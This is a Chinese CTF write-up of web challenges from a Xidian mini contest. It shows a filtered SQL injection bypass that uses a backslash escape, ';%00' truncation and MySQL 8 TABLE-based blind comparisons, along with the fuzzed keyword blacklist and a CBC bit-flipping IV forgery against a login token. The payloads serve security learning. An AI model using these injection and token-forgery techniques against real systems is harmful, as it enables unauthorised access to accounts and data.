-
-
西电miniL-web部分题解
-
发表于: 2022-5-13 14:08 12488
-
一个 的五一假期,总体来说这次minictf就web方向的题目我感觉还是有点难度的,考察范围很广泛,其中两道java相关的也是不知道怎么搞。不过有幸拿到了mini_sql的一血,还是很激动的。同时还扩展了一些密码学的东西,比如这个checkin。总之虽然排名并不是很靠前,但学到了很多有用的新姿势,血赚不亏。
打开题目环境F12可以看到hint(当时没有看这个页面,结果为了 users
这个表名搞了很长时间,结果发现居然有hint。拿到题目一定要仔细啊,不放过任何地方)
存在SQL注入,先fuzz一下看ban掉了哪些关键字符
过滤了很多东西
可以看到select都用不了,还有注释单引号什么的,但发现 \
并未被ban,所以根据它的sql语句可以在username处来个 \
转义掉后面的 '
即它后端的sql语句变成了这样
而对于最后的这个 '
,由于注释符被过滤了,所以可以使用 ;%00
来代替,截断后面的 '
所以后端的sql查询语句可以是
构造payload发送,可以发现response了 success
但即便是成功登录了也没法拿到falg,测试发现其语法不出错的情况下只有 success!
和 fail!
两种返回值。
基本上可以确定是要盲注了
但问题就难在这里or、 select、 union
等关键字都被ban了,很难找到突破口,但我一个习惯确帮助我解决了这道题。对于sql注入我会习惯性的去使用 database()
和 version()
去查看它当前的数据库名和版本信息。试了下发现当前数据库名为 ctf
,但好像没啥用。但这个 version 就不一样了。
试了下payload
发现竟然返回了 fail!
,那就说明这是 mysql8 的版本。验证一下
既然是 mysql8 那因该是有一些其它奇奇怪怪的注入姿势,结果果真有,比如说mysql8新增的 TABLE
关键字。
翻阅mysql8的 官方文档 可以找到 TABLE 关键字的用法
它的作用和 SELECT * FROM table_name
的作用差不多,都是列出表的整个内容
(下文实例的所有users表内容均相同)
配合 LIMIT
关键字可以精确到某一行
还可以配合 ORDER BY
详情可以翻阅文档,这里不再赘述。
mysql中的字符串可以配合 ()
和表的某一行进行比较,如:
对于字符串之间的大小比较其规则是这样的:
不区分大小写,按照0-9a-z的ascii码大小顺序进行比较,先从两个串的第一个字符进行比较ascii值,第一个字符相同的,比较第二个字符,不同则按照 >
还是 <
直接返回 1或0,如果相同再比较下一个以此类推。如果前面字符全部相同,则以长度更长的为大。如:
利用括号内多个数据与表查询结果比较时,其规则是从括号内第一个参数与表的第一列数据进行比较,如果为 1 则继续比较第二个,如果为 0 则不比较后面的直接返回 0 。
和表查询结果比较
所以可以利用这些来盲注爆破
了解了上文的相关信息后这题就好解了,既然是 users 表,那一般是三个字段 id, username, password。id 第一个应该是 1 (不放心可以验证一下),后面的 username 和 password 写脚本爆破一下就好了。
可以构造 payload :
爆破脚本:
运行得到 username 和 password
登录拿到flag
打开题目告诉
然后仔细研究了一下这个token,发现最前面固定为 0001145141919810
,然后..............不会了
后来给了源码,用go语言写的。当时go也没学过,简单学了一下,了解了下关键函数的作用。
关键代码
flagController.go文件:
token.go文件:
然后.....又不知道怎么办了,感觉是密码学的问题。后来问了问 Carrot2 学长,提示了下是 CBC字节反转攻击 后面网上学习了一下,总算是解决了。
CBC全称Cipher Block Chaining,密码分组链接模式
大致的过程是:
解密反过来操作就行了,这里不再赘述
详情请见 https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
加密过程
解密过程
从加密过程中可以看到,每个密文块都依赖于它前面所有的明文块,所以某一个密文块的变化会影响后一个区块解密后的原文
CBC Bit-Flipping Attack在国内又被称为CBC字节翻转攻击,无论是翻转bit还是byte,本质上还是一致的,所以不必纠结中英文的不同。首先要知道该攻击发生在CBC的解密环节上。
上图可以直观地看到,在解密过程里,通过翻转前一组密文里特定位置的bit,从而达到了翻转下一组明文里特定位置bit的效果。同样的,如果可以修改iv,那么也可以修改第一组解密出的明文内容(checkin这道题的解法就是这样)。
进一步分析其原理 (参考 https://masterpessimistaa.wordpress.com/2017/05/03/cbc-bit-flipping-attack/ ):
从上图可以清楚得到:
需要注意的是 BlockCipherDecryption(B)是一个常量,因为这里没有修改B
对于分组的第n字节,相应地有:
变形得到:
在式(1)里,假定我们想要输出的明文P[n]为我们想要的明文,设为P1
在式(2)里,假定输出的明文P[n]是密文未经过修改得到的真实明文,设为P2
于是由式(1)式(2)得:
调整顺序:
可见,通过这种方式就可以修改密文达到翻转解密出的明文字节的效果。
由题目源码可知是16个字节为一组,需要修改的 Name 正好在第一组,所以只需要修改初始向量 iv 使得 guest
变为 admin
即可
由上文分析不难推出最终计算所需 iv 的公式为
exp:
运行得到所需iv为
将原来token前面的iv( 0001145141919810
)替换为 0001145147(9#"10
,编码后发送,认证成功,拿到flag
很简单的签到题,这里不再赘述。
https://www.codetd.com/article/13126014
https://www.jianshu.com/p/f4684322e851
https://dev.mysql.com/doc/refman/8.0/en/table.html
https://ce-automne.github.io/2019/05/23/CBC-Bit-Flipping-Attack-Conclusion/
https://resources.infosecinstitute.com/topic/cbc-byte-flipping-attack-101-approach/
#
$
%
^
*
+
-
'
?
select
union
information
or
and
substr
char
sleep
if
#
$
%
^
*
+
-
'
?
select
union
information
or
and
substr
char
sleep
if
select
*
from
users where username
=
'\' and password='
YOUR_INPUT';
select
*
from
users where username
=
'\' and password='
YOUR_INPUT';
select
*
from
users where username
=
'\' and password='
||
1
;
%
00
'
select
*
from
users where username
=
'\' and password='
||
1
;
%
00
'
username
=
\&password
=
||version()
=
5
;
%
00
username
=
\&password
=
||version()
=
5
;
%
00
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
mysql> TABLE users;
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
|
id
| username | password |
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
|
1
| admin | qwe123 |
|
2
| guest | asd321 |
|
3
| adds3awed |
12
@qd24 |
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
3
rows
in
set
(
0.00
sec)
mysql> TABLE users;
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
|
id
| username | password |
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
|
1
| admin | qwe123 |
|
2
| guest | asd321 |
|
3
| adds3awed |
12
@qd24 |
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
3
rows
in
set
(
0.00
sec)
mysql> TABLE users LIMIT
0
,
1
;
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
|
id
| username | password |
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
|
1
| admin | qwe123 |
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> TABLE users LIMIT
1
,
1
;
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
|
id
| username | password |
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
|
2
| guest | asd321 |
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.01
sec)
mysql> TABLE users LIMIT
1
;
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
|
id
| username | password |
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
|
1
| admin | qwe123 |
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> TABLE users LIMIT
0
,
1
;
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
|
id
| username | password |
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
|
1
| admin | qwe123 |
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> TABLE users LIMIT
1
,
1
;
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
|
id
| username | password |
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
|
2
| guest | asd321 |
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.01
sec)
mysql> TABLE users LIMIT
1
;
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
|
id
| username | password |
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
|
1
| admin | qwe123 |
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> SELECT (
1
,
'admin'
,
'qwe123'
)
=
(SELECT
*
FROM users LIMIT
1
);
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| (
1
,
'admin'
,
'qwe123'
)
=
(SELECT
*
FROM users LIMIT
1
) |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
1
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
# MYSQL8中使用 TABLE 关键字
mysql> SELECT (
1
,
'admin'
,
'qwe123'
)
=
(TABLE users LIMIT
1
);
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| (
1
,
'admin'
,
'qwe123'
)
=
(TABLE users LIMIT
1
) |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
1
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> SELECT (
1
,
'admin'
,
'qwe123'
)
=
(SELECT
*
FROM users LIMIT
1
);
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| (
1
,
'admin'
,
'qwe123'
)
=
(SELECT
*
FROM users LIMIT
1
) |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
1
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
# MYSQL8中使用 TABLE 关键字
mysql> SELECT (
1
,
'admin'
,
'qwe123'
)
=
(TABLE users LIMIT
1
);
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| (
1
,
'admin'
,
'qwe123'
)
=
(TABLE users LIMIT
1
) |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
1
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> SELECT
'a'
<
'C'
;
+
-
-
-
-
-
-
-
-
-
+
|
'a'
<
'C'
|
+
-
-
-
-
-
-
-
-
-
+
|
1
|
+
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> SELECT
'e'
>
'ef'
;
+
-
-
-
-
-
-
-
-
-
-
+
|
'e'
>
'ef'
|
+
-
-
-
-
-
-
-
-
-
-
+
|
0
|
+
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> SELECT
'adc'
<
'aea'
;
+
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
'adc'
<
'aea'
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
1
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> SELECT
'qwe'
>
'qwf'
;
+
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
'qwe'
>
'qwf'
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> SELECT
'a'
<
'C'
;
+
-
-
-
-
-
-
-
-
-
+
|
'a'
<
'C'
|
+
-
-
-
-
-
-
-
-
-
+
|
1
|
+
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> SELECT
'e'
>
'ef'
;
+
-
-
-
-
-
-
-
-
-
-
+
|
'e'
>
'ef'
|
+
-
-
-
-
-
-
-
-
-
-
+
|
0
|
+
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> SELECT
'adc'
<
'aea'
;
+
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
'adc'
<
'aea'
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
1
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> SELECT
'qwe'
>
'qwf'
;
+
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
'qwe'
>
'qwf'
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> SELECT (
'a'
,
'b'
,
'cd'
)<(
'a'
,
'b'
,
'ce'
);
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| (
'a'
,
'b'
,
'cd'
)<(
'a'
,
'b'
,
'ce'
) |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
1
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.01
sec)
mysql> SELECT (
'a'
,
'b'
,
'cd'
)<(
'a'
,
'b'
,
'cd'
);
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| (
'a'
,
'b'
,
'cd'
)<(
'a'
,
'b'
,
'cd'
) |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> SELECT (
'a'
,
'b'
,
'cd'
)<(
'a'
,
'c'
,
'ab'
);
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| (
'a'
,
'b'
,
'cd'
)<(
'a'
,
'c'
,
'ab'
) |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
1
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> SELECT (
'a'
,
'b'
,
'cd'
)<(
'a'
,
'b'
,
'ce'
);
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| (
'a'
,
'b'
,
'cd'
)<(
'a'
,
'b'
,
'ce'
) |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
1
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.01
sec)
mysql> SELECT (
'a'
,
'b'
,
'cd'
)<(
'a'
,
'b'
,
'cd'
);
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| (
'a'
,
'b'
,
'cd'
)<(
'a'
,
'b'
,
'cd'
) |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> SELECT (
'a'
,
'b'
,
'cd'
)<(
'a'
,
'c'
,
'ab'
);
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| (
'a'
,
'b'
,
'cd'
)<(
'a'
,
'c'
,
'ab'
) |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
1
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> TABLE users;
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
|
id
| username | password |
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
|
1
| admin | qwe123 |
|
2
| guest | asd321 |
|
3
| adds3awed |
12
@qd24 |
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
3
rows
in
set
(
0.00
sec)
mysql> SELECT (
1
,
'admin'
,'')<(TABLE users LIMIT
1
);
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| (
1
,
'admin'
,'')<(TABLE users LIMIT
1
) |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
1
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> SELECT (
1
,
'admin'
,
'qw'
)<(TABLE users LIMIT
1
);
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| (
1
,
'admin'
,
'qw'
)<(TABLE users LIMIT
1
) |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
1
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> SELECT (
1
,
'admin'
,
'qx'
)<(TABLE users LIMIT
1
);
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| (
1
,
'admin'
,
'qx'
)<(TABLE users LIMIT
1
) |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> TABLE users;
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
|
id
| username | password |
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
|
1
| admin | qwe123 |
|
2
| guest | asd321 |
|
3
| adds3awed |
12
@qd24 |
+
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
-
-
-
-
+
3
rows
in
set
(
0.00
sec)
mysql> SELECT (
1
,
'admin'
,'')<(TABLE users LIMIT
1
);
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| (
1
,
'admin'
,'')<(TABLE users LIMIT
1
) |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
1
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> SELECT (
1
,
'admin'
,
'qw'
)<(TABLE users LIMIT
1
);
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| (
1
,
'admin'
,
'qw'
)<(TABLE users LIMIT
1
) |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
1
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
mysql> SELECT (
1
,
'admin'
,
'qx'
)<(TABLE users LIMIT
1
);
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| (
1
,
'admin'
,
'qx'
)<(TABLE users LIMIT
1
) |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
|
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
row
in
set
(
0.00
sec)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课